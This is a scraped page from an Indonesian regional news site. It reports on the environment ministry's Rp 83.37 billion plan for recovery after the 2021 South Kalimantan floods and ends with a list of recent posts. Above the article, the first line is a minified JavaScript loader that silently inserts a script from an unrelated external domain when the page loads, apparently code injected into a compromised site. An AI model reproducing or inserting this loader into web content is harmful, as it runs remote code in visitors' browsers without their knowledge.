(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

KLHK Siapkan 83,37 Miliar untuk Penanganan Pasca Banjir Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Kementrian Lingkungan Hidup dan Kehutanan (KLHK) menaruh perhatian serius bencana banjir di Provinsi Kalimantan Selatan.

Pemerintah pusat menyiapkan anggaran puluhan miliar upaya penanganan pasca bencana di Banua.

Hal tersebut diungkapkan Wakil Menteri (Wamen) KLHK, Alue Dohong, saat kunjungan kerja di Kalsel, Rabu (10/3/2021).

Dijelaskannya, ada 3 kategori dalam penanganan pasca banjir, meliputi penanganan jangka pendek, jangka menengah, dan jangka panjang.

 

Wakil Menteri (Wamen) KLHK, Alue Dohong, saat kunjungan kerja di Kalsel, Rabu (10/3/2021). Foto: rico

“Kita akan melibatkan 6 direktorat yang berada di bawah KLHK. Untuk saat ini kita akan fokus melakukan upaya penanganan jangka pendek,” ujar Wamen KLHK, didamping Pj Gubernur Kalsel Safrizal ZA.

Dalam upaya penanganan jangka pendek tersebut, KLHK menyiapkan 24 program kegiatan yang nantinya dilaksanakan di Kalsel.

Baca juga: Penataan Kawasan Sekumpul, Tiga Segmen Ditarget Tuntas 2023

Mulai dari penegakan hukum hingga rehabilitasi Daerah Aliran Sungai (DAS) untuk pemulihan lingkungan.

“Untuk seluruh kegiatan itu kami menyiapkan anggaran sebesar 83,37 miliar. Dalam upaya penanganan ini kita tidak bisa hanya sektoral. Namun juga melibatkan semua pihak, termasuk mengajak peran swasta,” beber Alue.

Bencana banjir yang berdampak pada puluhan ribu masyarakat Kalsel hingga menelan korban jiwa, ujar Wamen, menjadi momentum untuk sebuah perubahan.

Baca juga: Jatam Pertanyakan Gugatan Keterbukaan Informasi Perpanjangan 5 Perusahaan Tambang

Ia menekankan pentingnya mengidentfikasi penanganan bencana, baik dari regulasi maupun kebijakan pemerintah setempat.

“Kita harus melihat aspek-aspeknya. Mulai dari aspek engineering, yakni kondisi bendungan dan daerah-daerah tangkapan air. Aspek vegatani, dengan semakin mendorong kegiatan penanaman pohon. Lalu aspek penegakan hukum, serta aspek sosialnya,” tandasnya. (kanalkalimantan.com/rico)

Reporter: rico
Editor: bie


Al Ghifari

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

3 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

3 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

4 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

8 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

8 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

9 jam ago

This website uses cookies.